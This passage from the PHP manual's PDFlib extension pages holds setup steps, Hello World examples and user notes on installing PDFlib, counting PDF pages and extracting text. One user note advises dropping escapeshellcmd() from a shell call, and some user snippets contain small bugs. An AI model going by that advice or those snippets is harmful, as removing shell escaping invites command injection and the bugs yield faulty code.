    • PDF_encoding_set_char — Add glyph name and/or Unicode value
    • PDF_end_document — Close PDF file
    • PDF_end_font — Terminate Type 3 font definition
    • PDF_end_glyph — Terminate glyph definition for Type 3 font
    • PDF_end_item — Close structure element or other content item
    • PDF_end_layer — Deactivate all active layers
    • PDF_end_page_ext — Finish page
    • PDF_end_page — Finish page
    • PDF_end_pattern — Finish pattern
    • PDF_end_template — Finish template
    • PDF_endpath — End current path
    • PDF_fill_imageblock — Fill image block with variable data
    • PDF_fill_pdfblock — Fill PDF block with variable data
    • PDF_fill_stroke — Fill and stroke path
    • PDF_fill_textblock — Fill text block with variable data
    • PDF_fill — Fill current path
    • PDF_findfont — Prepare font for later use [deprecated]
    • PDF_fit_image — Place image or template
    • PDF_fit_pdi_page — Place imported PDF page
    • PDF_fit_table — Place table on page
    • PDF_fit_textflow — Format textflow in rectangular area
    • PDF_fit_textline — Place single line of text
    • PDF_get_apiname — Get name of unsuccessfull API function
    • PDF_get_buffer — Get PDF output buffer
    • PDF_get_errmsg — Get error text
    • PDF_get_errnum — Get error number
    • PDF_get_font — Get font [deprecated]
    • PDF_get_fontname — Get font name [deprecated]
    • PDF_get_fontsize — Font handling [deprecated]
    • PDF_get_image_height — Get image height [deprecated]
    • PDF_get_image_width — Get image width [deprecated]
    • PDF_get_majorversion — Get major version number [deprecated]
    • PDF_get_minorversion — Get minor version number [deprecated]
    • PDF_get_parameter — Get string parameter
    • PDF_get_pdi_parameter — Get PDI string parameter [deprecated]
    • PDF_get_pdi_value — Get PDI numerical parameter [deprecated]
    • PDF_get_value — Get numerical parameter
    • PDF_info_font — Query detailed information about a loaded font
    • PDF_info_matchbox — Query matchbox information
    • PDF_info_table — Retrieve table information
    • PDF_info_textflow — Query textflow state
    • PDF_info_textline — Perform textline formatting and query metrics
    • PDF_initgraphics — Reset graphic state
    • PDF_lineto — Draw a line
    • PDF_load_3ddata — Load 3D model
    • PDF_load_font — Search and prepare font
    • PDF_load_iccprofile — Search and prepare ICC profile
    • PDF_load_image — Open image file
    • PDF_makespotcolor — Make spot color
    • PDF_moveto — Set current point
    • PDF_new — Create PDFlib object
    • PDF_open_ccitt — Open raw CCITT image [deprecated]
    • PDF_open_file — Create PDF file [deprecated]
    • PDF_open_gif — Open GIF image [deprecated]
    • PDF_open_image_file — Read image from file [deprecated]
    • PDF_open_image — Use image data [deprecated]
    • PDF_open_jpeg — Open JPEG image [deprecated]
    • PDF_open_memory_image — Open image created with PHP's image functions [not supported]
    • PDF_open_pdi_document — Prepare a pdi document
    • PDF_open_pdi_page — Prepare a page
    • PDF_open_pdi — Open PDF file [deprecated]
    • PDF_open_tiff — Open TIFF image [deprecated]
    • PDF_pcos_get_number — Get value of pCOS path with type number or boolean
    • PDF_pcos_get_stream — Get contents of pCOS path with type stream, fstream, or string
    • PDF_pcos_get_string — Get value of pCOS path with type name, string, or boolean
    • PDF_place_image — Place image on the page [deprecated]
    • PDF_place_pdi_page — Place PDF page [deprecated]
    • PDF_process_pdi — Process imported PDF document
    • PDF_rect — Draw rectangle
    • PDF_restore — Restore graphics state
    • PDF_resume_page — Resume page
    • PDF_rotate — Rotate coordinate system
    • PDF_save — Save graphics state
    • PDF_scale — Scale coordinate system
    • PDF_set_border_color — Set border color of annotations [deprecated]
    • PDF_set_border_dash — Set border dash style of annotations [deprecated]
    • PDF_set_border_style — Set border style of annotations [deprecated]
    • PDF_set_char_spacing — Set character spacing [deprecated]
    • PDF_set_duration — Set duration between pages [deprecated]
    • PDF_set_gstate — Activate graphics state object
    • PDF_set_horiz_scaling — Set horizontal text scaling [deprecated]
    • PDF_set_info_author — Fill the author document info field [deprecated]
    • PDF_set_info_creator — Fill the creator document info field [deprecated]
    • PDF_set_info_keywords — Fill the keywords document info field [deprecated]
    • PDF_set_info_subject — Fill the subject document info field [deprecated]
    • PDF_set_info_title — Fill the title document info field [deprecated]
    • PDF_set_info — Fill document info field
    • PDF_set_layer_dependency — Define relationships among layers
    • PDF_set_leading — Set distance between text lines [deprecated]
    • PDF_set_parameter — Set string parameter
    • PDF_set_text_matrix — Set text matrix [deprecated]
    • PDF_set_text_pos — Set text position
    • PDF_set_text_rendering — Determine text rendering [deprecated]
    • PDF_set_text_rise — Set text rise [deprecated]
    • PDF_set_value — Set numerical parameter
    • PDF_set_word_spacing — Set spacing between words [deprecated]
    • PDF_setcolor — Set fill and stroke color
    • PDF_setdash — Set simple dash pattern
    • PDF_setdashpattern — Set dash pattern
    • PDF_setflat — Set flatness
    • PDF_setfont — Set font
    • PDF_setgray_fill — Set fill color to gray [deprecated]
    • PDF_setgray_stroke — Set stroke color to gray [deprecated]
    • PDF_setgray — Set color to gray [deprecated]
    • PDF_setlinecap — Set linecap parameter
    • PDF_setlinejoin — Set linejoin parameter
    • PDF_setlinewidth — Set line width
    • PDF_setmatrix — Set current transformation matrix
    • PDF_setmiterlimit — Set miter limit
    • PDF_setpolydash — Set complicated dash pattern [deprecated]
    • PDF_setrgbcolor_fill — Set fill rgb color values [deprecated]
    • PDF_setrgbcolor_stroke — Set stroke rgb color values [deprecated]
    • PDF_setrgbcolor — Set fill and stroke rgb color values [deprecated]
    • PDF_shading_pattern — Define shading pattern
    • PDF_shading — Define blend
    • PDF_shfill — Fill area with shading
    • PDF_show_boxed — Output text in a box [deprecated]
    • PDF_show_xy — Output text at given position
    • PDF_show — Output text at current position
    • PDF_skew — Skew the coordinate system
    • PDF_stringwidth — Return width of text
    • PDF_stroke — Stroke path
    • PDF_suspend_page — Suspend page
    • PDF_translate — Set origin of coordinate system
    • PDF_utf16_to_utf8 — Convert string from UTF-16 to UTF-8
    • PDF_utf32_to_utf16 — Convert string from UTF-32 to UTF-16
    • PDF_utf8_to_utf16 — Convert string from UTF-8 to UTF-16

User Contributed Notes

Me at Izzmo dot com 22-Jul-2009 05:42
If you only have PDFLib Lite installed, I would not recommend bothering with this library, as you can really only output text and import an image, and that's about it.  Forget about adding complexities such as color, blocks and other elements.  Switch to an open source library such as FreePDF (http://www.fpdf.org).
deadhorus at gmail dot com 04-May-2009 01:15
If you need to use 'pdf templates' use Apache FOP (XSL-FO parser). You can call it from php by using the exec function or by using a php-java bridge. I am successfully using the exec function...


Introduction

The PDF functions in PHP can create PDF files using the PDFlib library from PDFlib GmbH (» www.pdflib.com). A restricted version called PDFlib Lite 7 is available for free, but it is no longer maintained since 2010. PDFlib integration for PHP is still actively maintained by PDFlib GmbH. It is mainly targeted at the commercial PDFlib versions, but can also be used for the old PDFlib Lite.

If you want to use PDFlib we urge you start with the examples which are included in all PDFlib packages, and refer to the extensive manuals in PDF format which are also included. At a minimum you should take a look at the hello.php sample to learn basic setup for PDFlib usage.

Note:

If you're interested in alternative free PDF generators that do not utilize external PDF libraries, see this related FAQ.

User Contributed Notes

peter dot schrey at itegia dot de 19-Jul-2014 06:49
Another option to generate PDF from PHP without installing external libraries and non-free software is "PDFnow".
It works based on a powerful template mechanism, especially useful for letters, invoices, and manuals.


Requirements

PDFlib Lite is available as open source. However, the PDFlib Lite license allows free use only under certain conditions. PDFlib Lite supports a subset of PDFlib's functionality; please see the PDFlib web site for details. The full version of PDFlib is available for download at » http://www.pdflib.com/products/pdflib-family/, but requires that you purchase a license for commercial use.

Issues with older versions of PDFlib

Any version of PHP 4 after March 9, 2000 does not support versions of PDFlib older than 3.0.

PDFlib 4.0 or greater is supported by PHP 4.3.0 and later.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/pdflib.

To get these functions to work in PHP < 4.3.9, you have to compile PHP with --with-pdflib[=DIR] . DIR is the PDFlib base install directory, defaults to /usr/local.

User Contributed Notes

shozdeh at yahoo dot com 25-Sep-2012 01:21
because I confused in step 2 I write this comment:
for installing following this instruction step by step:
download PDFlib-Lite-X.X.XpX form first post...

open terminal and type:

$ cd download folder...
$ sudo tar -xzvf PDFlib-Lite-X.X.XpX.tar.gz
# cd PDFlib-Lite-X.X.XpX
# ./configure
# make
# make install

next:
# apt-get install php5-dev    : online installation if not installed
# apt-get install php-pear    : online installation if not installed
# pecl install pdflib         : online installation
    The ask be: 'path to pdflib installation? : ' enter '/usr/local'

# gedit /etc/php5/apache2/php.ini
    add 'extension=pdf.so in' 1 line

# /etc/init.d/apache2 reload  OR /etc/init.d/apache2 restart

Should work! for test you can write "$p = new PDF_new();" in a file.
Jean-Charles Papin 17-Jun-2011 05:07
Precisions for step 2:

- aptitude install php-pear
- peardev install pecl/pdflib
Igor Moiseev 02-Dec-2009 12:21
Brief installation notes. In the spite of the commercialization of libpdf library this is the way to use it in the lite mode.
System: Ubuntu 8.04 + php5.2

Step 1: PDFlib http://www.pdflib.com/
   download PDFlib-Lite: http://www.pdflib.com/download/pdflib-family/pdflib-lite-7/
   extract: tar -xzvf PDFlib-Lite-X.X.XpX.tar.gz
   compile: cd PDFlib-Lite-X.X.XpX && ./configure && make && make install

Step 2: Pecl for PDFlib http://pecl.php.net/package/pdflib
   install:
      install dependences: phpize (php5-dev package)
      pecl install pdflib
         path to pdflib installation? :/usr/local

Step 3: php.ini
   extension=pdf.so

Step 4:
   /etc/init.d/apache2 reload

That's it.

[Edited by RQuadling 2010/07/13 - Updated PDFlibe-Lite URL]
[Edit by danbrown AT php DOT net: Contains a typofix by "Anonymous" on 11-AUG-2010.]


Resource Types

PDF_new() creates a new PDFlib object required by most PDF functions.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Basic Usage Examples

User Contributed Notes

There are no user contributed notes for this page.


Basic Usage Examples

Most of the functions are fairly easy to use. The most difficult part is probably creating your first PDF document. The following example should help to get you started. It is developed for PHP 4 and creates the file hello.pdf with one page. It defines some document info field contents, loads the Helvetica-Bold font and outputs the text "Hello world! (says PHP)".

Example #1 Hello World example from PDFlib distribution for PHP 4

<?php
$p = PDF_new();

/*  open new PDF file; insert a file name to create the PDF on disk */
if (PDF_begin_document($p, "", "") == 0) {
    die("Error: " . PDF_get_errmsg($p));
}

PDF_set_info($p, "Creator", "hello.php");
PDF_set_info($p, "Author", "Rainer Schaaf");
PDF_set_info($p, "Title", "Hello world (PHP)!");

PDF_begin_page_ext($p, 595, 842, "");

$font = PDF_load_font($p, "Helvetica-Bold", "winansi", "");

PDF_setfont($p, $font, 24.0);
PDF_set_text_pos($p, 50, 700);
PDF_show($p, "Hello world!");
PDF_continue_text($p, "(says PHP)");
PDF_end_page_ext($p, "");

PDF_end_document($p, "");

$buf = PDF_get_buffer($p);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=hello.pdf");
print $buf;

PDF_delete($p);
?>

The following example comes with the PDFlib distribution for PHP 5. It uses the new exception handling and object encapsulation features available in PHP 5. It creates the file hello.pdf with one page. It defines some document info field contents, loads the Helvetica-Bold font and outputs the text "Hello world! (says PHP)".

Example #2 Hello World example from PDFlib distribution for PHP 5

<?php

try {
    $p = new PDFlib();

    /*  open new PDF file; insert a file name to create the PDF on disk */
    if ($p->begin_document("", "") == 0) {
        die("Error: " . $p->get_errmsg());
    }

    $p->set_info("Creator", "hello.php");
    $p->set_info("Author", "Rainer Schaaf");
    $p->set_info("Title", "Hello world (PHP)!");

    $p->begin_page_ext(595, 842, "");

    $font = $p->load_font("Helvetica-Bold", "winansi", "");

    $p->setfont($font, 24.0);
    $p->set_text_pos(50, 700);
    $p->show("Hello world!");
    $p->continue_text("(says PHP)");
    $p->end_page_ext("");

    $p->end_document("");

    $buf = $p->get_buffer();
    $len = strlen($buf);

    header("Content-type: application/pdf");
    header("Content-Length: $len");
    header("Content-Disposition: inline; filename=hello.pdf");
    print $buf;
}
catch (PDFlibException $e) {
    die("PDFlib exception occurred in hello sample:\n" .
    "[" . $e->get_errnum() . "] " . $e->get_apiname() . ": " .
    $e->get_errmsg() . "\n");
}
catch (Exception $e) {
    die($e);
}
$p = 0;
?>

User Contributed Notes

matt at kynx dot org 24-Mar-2012 01:42
Be careful with your Content-Length if you're using multi-byte function overloading (http://www.php.net/manual/en/mbstring.overload.php). You will want to do:

<?php
$len = mb_strlen($buf, 'ASCII');
?>

Otherwise your PDF will be truncated and unreadable. Just cost me a sunny afternoon :-/


PDF Functions

Remarks about Deprecated PDFlib Functions

Starting with PHP 4.0.5, the PHP extension for PDFlib is officially supported by PDFlib GmbH. This means that all the functions described in the PDFlib Reference Manual are supported by PHP 4 with exactly the same meaning and the same parameters. However, with PDFlib Version 5.0.4 or higher all parameters have to be specified. For compatibility reasons, this binding for PDFlib still supports most of the deprecated functions, but they should be replaced by their new versions. PDFlib GmbH will not support any problems arising from the use of these deprecated functions. The documentation in this section indicates old functions as "Deprecated" and gives the replacement function to be used instead.

Table of Contents

  • PDF_activate_item — Activate structure element or other content item
  • PDF_add_annotation — Add annotation [deprecated]
  • PDF_add_bookmark — Add bookmark for current page [deprecated]
  • PDF_add_launchlink — Add launch annotation for current page [deprecated]
  • PDF_add_locallink — Add link annotation for current page [deprecated]
  • PDF_add_nameddest — Create named destination
  • PDF_add_note — Set annotation for current page [deprecated]
  • PDF_add_outline — Add bookmark for current page [deprecated]
  • PDF_add_pdflink — Add file link annotation for current page [deprecated]
  • PDF_add_table_cell — Add a cell to a new or existing table
  • PDF_add_textflow — Create Textflow or add text to existing Textflow
  • PDF_add_thumbnail — Add thumbnail for current page
  • PDF_add_weblink — Add weblink for current page [deprecated]
  • PDF_arc — Draw a counterclockwise circular arc segment
  • PDF_arcn — Draw a clockwise circular arc segment
  • PDF_attach_file — Add file attachment for current page [deprecated]
  • PDF_begin_document — Create new PDF file
  • PDF_begin_font — Start a Type 3 font definition
  • PDF_begin_glyph — Start glyph definition for Type 3 font
  • PDF_begin_item — Open structure element or other content item
  • PDF_begin_layer — Start layer
  • PDF_begin_page_ext — Start new page
  • PDF_begin_page — Start new page [deprecated]
  • PDF_begin_pattern — Start pattern definition
  • PDF_begin_template_ext — Start template definition
  • PDF_begin_template — Start template definition [deprecated]
  • PDF_circle — Draw a circle
  • PDF_clip — Clip to current path
  • PDF_close_image — Close image
  • PDF_close_pdi_page — Close the page handle
  • PDF_close_pdi — Close the input PDF document [deprecated]
  • PDF_close — Close pdf resource [deprecated]
  • PDF_closepath_fill_stroke — Close, fill and stroke current path
  • PDF_closepath_stroke — Close and stroke path
  • PDF_closepath — Close current path
  • PDF_concat — Concatenate a matrix to the CTM
  • PDF_continue_text — Output text in next line
  • PDF_create_3dview — Create 3D view
  • PDF_create_action — Create action for objects or events
  • PDF_create_annotation — Create rectangular annotation
  • PDF_create_bookmark — Create bookmark
  • PDF_create_field — Create form field
  • PDF_create_fieldgroup — Create form field group
  • PDF_create_gstate — Create graphics state object
  • PDF_create_pvf — Create PDFlib virtual file
  • PDF_create_textflow — Create textflow object
  • PDF_curveto — Draw Bezier curve
  • PDF_define_layer — Create layer definition
  • PDF_delete_pvf — Delete PDFlib virtual file
  • PDF_delete_table — Delete table object
  • PDF_delete_textflow — Delete textflow object
  • PDF_delete — Delete PDFlib object
  • PDF_encoding_set_char — Add glyph name and/or Unicode value
  • PDF_end_document — Close PDF file
  • PDF_end_font — Terminate Type 3 font definition
  • PDF_end_glyph — Terminate glyph definition for Type 3 font
  • PDF_end_item — Close structure element or other content item
  • PDF_end_layer — Deactivate all active layers
  • PDF_end_page_ext — Finish page
  • PDF_end_page — Finish page
  • PDF_end_pattern — Finish pattern
  • PDF_end_template — Finish template
  • PDF_endpath — End current path
  • PDF_fill_imageblock — Fill image block with variable data
  • PDF_fill_pdfblock — Fill PDF block with variable data
  • PDF_fill_stroke — Fill and stroke path
  • PDF_fill_textblock — Fill text block with variable data
  • PDF_fill — Fill current path
  • PDF_findfont — Prepare font for later use [deprecated]
  • PDF_fit_image — Place image or template
  • PDF_fit_pdi_page — Place imported PDF page
  • PDF_fit_table — Place table on page
  • PDF_fit_textflow — Format textflow in rectangular area
  • PDF_fit_textline — Place single line of text
  • PDF_get_apiname — Get name of unsuccessfull API function
  • PDF_get_buffer — Get PDF output buffer
  • PDF_get_errmsg — Get error text
  • PDF_get_errnum — Get error number
  • PDF_get_font — Get font [deprecated]
  • PDF_get_fontname — Get font name [deprecated]
  • PDF_get_fontsize — Font handling [deprecated]
  • PDF_get_image_height — Get image height [deprecated]
  • PDF_get_image_width — Get image width [deprecated]
  • PDF_get_majorversion — Get major version number [deprecated]
  • PDF_get_minorversion — Get minor version number [deprecated]
  • PDF_get_parameter — Get string parameter
  • PDF_get_pdi_parameter — Get PDI string parameter [deprecated]
  • PDF_get_pdi_value — Get PDI numerical parameter [deprecated]
  • PDF_get_value — Get numerical parameter
  • PDF_info_font — Query detailed information about a loaded font
  • PDF_info_matchbox — Query matchbox information
  • PDF_info_table — Retrieve table information
  • PDF_info_textflow — Query textflow state
  • PDF_info_textline — Perform textline formatting and query metrics
  • PDF_initgraphics — Reset graphic state
  • PDF_lineto — Draw a line
  • PDF_load_3ddata — Load 3D model
  • PDF_load_font — Search and prepare font
  • PDF_load_iccprofile — Search and prepare ICC profile
  • PDF_load_image — Open image file
  • PDF_makespotcolor — Make spot color
  • PDF_moveto — Set current point
  • PDF_new — Create PDFlib object
  • PDF_open_ccitt — Open raw CCITT image [deprecated]
  • PDF_open_file — Create PDF file [deprecated]
  • PDF_open_gif — Open GIF image [deprecated]
  • PDF_open_image_file — Read image from file [deprecated]
  • PDF_open_image — Use image data [deprecated]
  • PDF_open_jpeg — Open JPEG image [deprecated]
  • PDF_open_memory_image — Open image created with PHP's image functions [not supported]
  • PDF_open_pdi_document — Prepare a pdi document
  • PDF_open_pdi_page — Prepare a page
  • PDF_open_pdi — Open PDF file [deprecated]
  • PDF_open_tiff — Open TIFF image [deprecated]
  • PDF_pcos_get_number — Get value of pCOS path with type number or boolean
  • PDF_pcos_get_stream — Get contents of pCOS path with type stream, fstream, or string
  • PDF_pcos_get_string — Get value of pCOS path with type name, string, or boolean
  • PDF_place_image — Place image on the page [deprecated]
  • PDF_place_pdi_page — Place PDF page [deprecated]
  • PDF_process_pdi — Process imported PDF document
  • PDF_rect — Draw rectangle
  • PDF_restore — Restore graphics state
  • PDF_resume_page — Resume page
  • PDF_rotate — Rotate coordinate system
  • PDF_save — Save graphics state
  • PDF_scale — Scale coordinate system
  • PDF_set_border_color — Set border color of annotations [deprecated]
  • PDF_set_border_dash — Set border dash style of annotations [deprecated]
  • PDF_set_border_style — Set border style of annotations [deprecated]
  • PDF_set_char_spacing — Set character spacing [deprecated]
  • PDF_set_duration — Set duration between pages [deprecated]
  • PDF_set_gstate — Activate graphics state object
  • PDF_set_horiz_scaling — Set horizontal text scaling [deprecated]
  • PDF_set_info_author — Fill the author document info field [deprecated]
  • PDF_set_info_creator — Fill the creator document info field [deprecated]
  • PDF_set_info_keywords — Fill the keywords document info field [deprecated]
  • PDF_set_info_subject — Fill the subject document info field [deprecated]
  • PDF_set_info_title — Fill the title document info field [deprecated]
  • PDF_set_info — Fill document info field
  • PDF_set_layer_dependency — Define relationships among layers
  • PDF_set_leading — Set distance between text lines [deprecated]
  • PDF_set_parameter — Set string parameter
  • PDF_set_text_matrix — Set text matrix [deprecated]
  • PDF_set_text_pos — Set text position
  • PDF_set_text_rendering — Determine text rendering [deprecated]
  • PDF_set_text_rise — Set text rise [deprecated]
  • PDF_set_value — Set numerical parameter
  • PDF_set_word_spacing — Set spacing between words [deprecated]
  • PDF_setcolor — Set fill and stroke color
  • PDF_setdash — Set simple dash pattern
  • PDF_setdashpattern — Set dash pattern
  • PDF_setflat — Set flatness
  • PDF_setfont — Set font
  • PDF_setgray_fill — Set fill color to gray [deprecated]
  • PDF_setgray_stroke — Set stroke color to gray [deprecated]
  • PDF_setgray — Set color to gray [deprecated]
  • PDF_setlinecap — Set linecap parameter
  • PDF_setlinejoin — Set linejoin parameter
  • PDF_setlinewidth — Set line width
  • PDF_setmatrix — Set current transformation matrix
  • PDF_setmiterlimit — Set miter limit
  • PDF_setpolydash — Set complicated dash pattern [deprecated]
  • PDF_setrgbcolor_fill — Set fill rgb color values [deprecated]
  • PDF_setrgbcolor_stroke — Set stroke rgb color values [deprecated]
  • PDF_setrgbcolor — Set fill and stroke rgb color values [deprecated]
  • PDF_shading_pattern — Define shading pattern
  • PDF_shading — Define blend
  • PDF_shfill — Fill area with shading
  • PDF_show_boxed — Output text in a box [deprecated]
  • PDF_show_xy — Output text at given position
  • PDF_show — Output text at current position
  • PDF_skew — Skew the coordinate system
  • PDF_stringwidth — Return width of text
  • PDF_stroke — Stroke path
  • PDF_suspend_page — Suspend page
  • PDF_translate — Set origin of coordinate system
  • PDF_utf16_to_utf8 — Convert string from UTF-16 to UTF-8
  • PDF_utf32_to_utf16 — Convert string from UTF-32 to UTF-16
  • PDF_utf8_to_utf16 — Convert string from UTF-8 to UTF-16

User Contributed Notes

sebastien at malot dot fr 26-Oct-2013 07:47
Hi,

I post this comment here because I always wanted to extract text from PDF files, but I never found it.
So now, I spread my tresor.

So spend much time in creating a PHP library to extract text from pages.
Based on TCPDF parser class, now my lib can handle many cases such as multiple charset encoding, base64 and octal encoding ...

Project webiste : http://www.pdfparser.org

<?php

// Include Composer autoloader if not already done.
include 'vendor/autoload.php';

// Parse pdf file and build necessary objects.
$parser = new \Smalot\PdfParser\Parser();
$pdf    = $parser->parseFile('document.pdf');

// Retrieve all pages from the pdf file.
$pages  = $pdf->getPages();

// Loop over each page to extract text.
foreach ($pages as $page) {
    echo $page->getText();
}

?>

Don't hesitate to report any bug on github issue report tool.

Thanks
sebastien at malot dot fr 08-Aug-2013 07:02
Do you have a sample pdf ?
Can you try those classes :

http://gist.github.com/smalot/6183152
or
http://www.zikko.se/resources/extractFromPDF.php

can you see your links on the extracted content ?
BR
bolyde at gmail dot com 12-Apr-2009 09:27
Hi,
To find the page number of a PDF File, i find this :

<?php
public function getNumPagesInPDF(array $arguments = array())
{
@list($PDFPath) = $arguments;
$stream = @fopen($PDFPath, "r");
$PDFContent = @fread ($stream, filesize($PDFPath));
if(!$stream || !$PDFContent)
    return false;

$firstValue = 0;
$secondValue = 0;
if(preg_match("/\/N\s+([0-9]+)/", $PDFContent, $matches)) {
    $firstValue = $matches[1];
}

if(preg_match_all("/\/Count\s+([0-9]+)/s", $PDFContent, $matches))
{
    $secondValue = max($matches[1]);
}
return (($secondValue != 0) ? $secondValue : max($firstValue, $secondValue));
}
?>
bondo2 at bondo2 dot info 09-Oct-2008 11:20
<?php

//getting new instance
$pdfFile = new_pdf();

PDF_open_file($pdfFile, " ");

//document info
pdf_set_info($pdfFile, "Auther", "Ahmed Elbshry");
pdf_set_info($pdfFile, "Creator", "Ahmed Elbshry");
pdf_set_info($pdfFile, "Title", "PDFlib");
pdf_set_info($pdfFile, "Subject", "Using PDFlib");

//starting our page and define the width and highet of the document
pdf_begin_page($pdfFile, 595, 842);

//check if Arial font is found, or exit
if($font = PDF_findfont($pdfFile, "Arial", "winansi", 1)) {
    PDF_setfont($pdfFile, $font, 12);
} else {
    echo ("Font Not Found!");
    PDF_end_page($pdfFile);
    PDF_close($pdfFile);
    PDF_delete($pdfFile);
    exit();
}

//start writing from the point 50,780
PDF_show_xy($pdfFile, "This Text In Arial Font", 50, 780);
PDF_end_page($pdfFile);
PDF_close($pdfFile);

//store the pdf document in $pdf
$pdf = PDF_get_buffer($pdfFile);
//get  the len to tell the browser about it
$pdflen = strlen($pdfFile);

//telling the browser about the pdf document
header("Content-type: application/pdf");
header("Content-length: $pdflen");
header("Content-Disposition: inline; filename=phpMade.pdf");
//output the document
print($pdf);
//delete the object
PDF_delete($pdfFile);
?>
SID TRIVEDI 20-Jan-2008 03:16
/*
Folks, There is an excellent tutorial from Rasmus Lerdorf available at (It does not support I.E.)

http://talks.php.net/show/osconpdf/

Where PHP Mastermind Guru (Father) explained nicely about text, fonts, images and their attributes with working snippets.

Another tutorial can be found at

www.devshed.com/c/a/PHP/Building-PDF-Documents-with-PHP-5

Hence following is the various size of PDF Document.

Origin is at the lower left and the basic unit is the DTP pt.

1 pt = 1/72 inch = 0.35277777778 mm

Some common page sizes

Format          Width   Height
US-Letter      612      792
US-Legal       612      1008
US-Ledger     1224     792
11x17           792      1224
A0                2380    3368
A1                1684    2380
A2                1190    1684
A3                842      1190
A4                595      842
A5                421      595
A6                297      421
B5                501      709

*/
info at tecnick dot com 10-Jan-2008 09:54
For those of us that do not want to pay for a commercial license to use PDFlib I suggest TCPDF:

http://tcpdf.sf.net

TCPDF is an Open Source PHP class for generating PDF files on-the-fly without requiring external extensions. This class is already adopted by a large number of php projects such as phpMyAdmin, Drupal, Joomla, Xoops, TCExam, etc.

Starting from 2.1 version TCPDF supports UTF-8 Unicode and bidirectional languages such as Arabic and Hebrew.
Ken McColl 21-Nov-2007 02:06
To get this to work on Windows do not use escapeshellcmd()

From online help:
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.

So you are probably passing duff paths to pdf2text.exe

Removing escapeshellcmd worked for me. Just make darned sure you are in control of what is being passed through to your system call.
kangaroo232002 at yahoo dot co dot uk 18-Nov-2007 09:25
To extend alex's example earlier, you can use a couple of switches inside the pdf doc to give you the total number of pages, without using any ext. I would have added the whole code, however the site keeps on saying "line is too long... yadayada".

Open the doc using fopen("$file", "rb"); (for reading)

Test the first approx 1000b for the following regex
<?php
if(preg_match("/\/N\s+([0-9]+)/", $contents, $found)) {
    return $found[1];
}
?>

If that doesn't return anything, you have to read the rest of the file:

<?php

preg_match_all("/\/Type\s*\/Pages\s*\/Kids\s+
\[.*?\]\s*\/Count\s+([0-9]+)/");

?>

This may return more than one, so look through for the highest value, which is the total number of pages in your doc.
luc at phpt dot org 30-Mar-2007 06:09
I am trying to extract the text from PDF files and use it to feed a search engine (Intranet tool). I tried several functions "PDF2TXT" posted below, but not they do not produce the expected result. At least, all words need to be separated by spaces (then used as keywords), and the "junk" codes removed (for example: binary data, pictures...). I start modifying the interesting function posted by Swen, and here is the my current version that starts to work quite well (with PDF version 1.2). Sorry for having a quite different style of programming. Luc

<?php
// Patch for pdf2txt() posted Sven Schuberth
// Add/replace following code (cannot post full program, size limitation)

// handles the verson 1.2
// New version of handleV2($data), only one line changed
function handleV2($data){

    // grab objects and then grab their contents (chunks)
    $a_obj = getDataArray($data,"obj","endobj");

    foreach($a_obj as $obj){

        $a_filter = getDataArray($obj,"<<",">>");

        if (is_array($a_filter)){
            $j++;
            $a_chunks[$j]["filter"] = $a_filter[0];

            $a_data = getDataArray($obj,"stream\r\n","endstream");
            if (is_array($a_data)){
                $a_chunks[$j]["data"] = substr($a_data[0],
        strlen("stream\r\n"),
        strlen($a_data[0])-strlen("stream\r\n")-strlen("endstream"));
            }
        }
    }

    // decode the chunks
    foreach($a_chunks as $chunk){

        // look at each chunk and decide how to decode it - by looking at the contents of the filter
        $a_filter = split("/",$chunk["filter"]);

        if ($chunk["data"]!=""){
            // look at the filter to find out which encoding has been used
            if (substr($chunk["filter"],"FlateDecode")!==false){
                $data =@ gzuncompress($chunk["data"]);
                if (trim($data)!=""){
            // CHANGED HERE, before: $result_data .= ps2txt($data);
                    $result_data .= PS2Text_New($data);
                } else {

                    //$result_data .= "x";
                }
            }
        }
    }
    return $result_data;
}

// New function - Extract text from PS codes
function ExtractPSTextElement($SourceString)
{
$CurStartPos = 0;
while (($CurStartText = strpos($SourceString, '(', $CurStartPos)) !== FALSE)
    {
    // New text element found
    if ($CurStartText - $CurStartPos > 8) $Spacing = ' ';
    else    {
        $SpacingSize = substr($SourceString, $CurStartPos, $CurStartText - $CurStartPos);
        if ($SpacingSize < -25) $Spacing = ' '; else $Spacing = '';
        }
    $CurStartText++;

    $StartSearchEnd = $CurStartText;
    while (($CurStartPos = strpos($SourceString, ')', $StartSearchEnd)) !== FALSE)
        {
        if (substr($SourceString, $CurStartPos - 1, 1) != '\\') break;
        $StartSearchEnd = $CurStartPos + 1;
        }
    if ($CurStartPos === FALSE) break; // something wrong happened

    // Remove ending '-'
    if (substr($Result, -1, 1) == '-')
        {
        $Spacing = '';
        $Result = substr($Result, 0, -1);
        }

    // Add to result
    $Result .= $Spacing . substr($SourceString, $CurStartText, $CurStartPos - $CurStartText);
    $CurStartPos++;
    }
// Add line breaks (otherwise, result is one big line...)
return $Result . "\n";
}

// Global table for codes replacement
$TCodeReplace = array ('\(' => '(', '\)' => ')');

// New function, replacing old "pd2txt" function
function PS2Text_New($PS_Data)
{
global $TCodeReplace;

// Catch up some codes
if (ord($PS_Data[0]) < 10) return '';
if (substr($PS_Data, 0, 8) == '/CIDInit') return '';

// Some text inside (...) can be found outside the [...] sets, then ignored
// => disable the processing of [...] is the easiest solution

$Result = ExtractPSTextElement($PS_Data);

// echo "Code=$PS_Data\nRES=$Result\n\n";

// Remove/translate some codes
return strtr($Result, $TCodeReplace);
}

?>
brendandonhue at comcast dot net 22-Aug-2006 05:35
Here is a function to test whether a file is a PDF without using any external library.
<?php
define('PDF_MAGIC', "\\x25\\x50\\x44\\x46\\x2D");
function is_pdf($filename) {
  return (file_get_contents($filename, false, null, 0, strlen(PDF_MAGIC)) === PDF_MAGIC) ? true : false;
}
?>
It's not checking if the whole file is valid, just if the correct header is present at the beginning of the file.
MAGnUm at magnumhome dot servehttp.com 17-Jul-2006 11:01
domPDF is also a great PDF creation interface. it basically converts your code to CSS and then builds the PDF from that with the absolute positions, and what not...
spingary at yahoo dot com 12-Jan-2006 09:55
I was having trouble with streaming inline PDf's using PHP 5.0.2, Apache 2.0.54.

This is my code:

<?
header("Pragma: public");
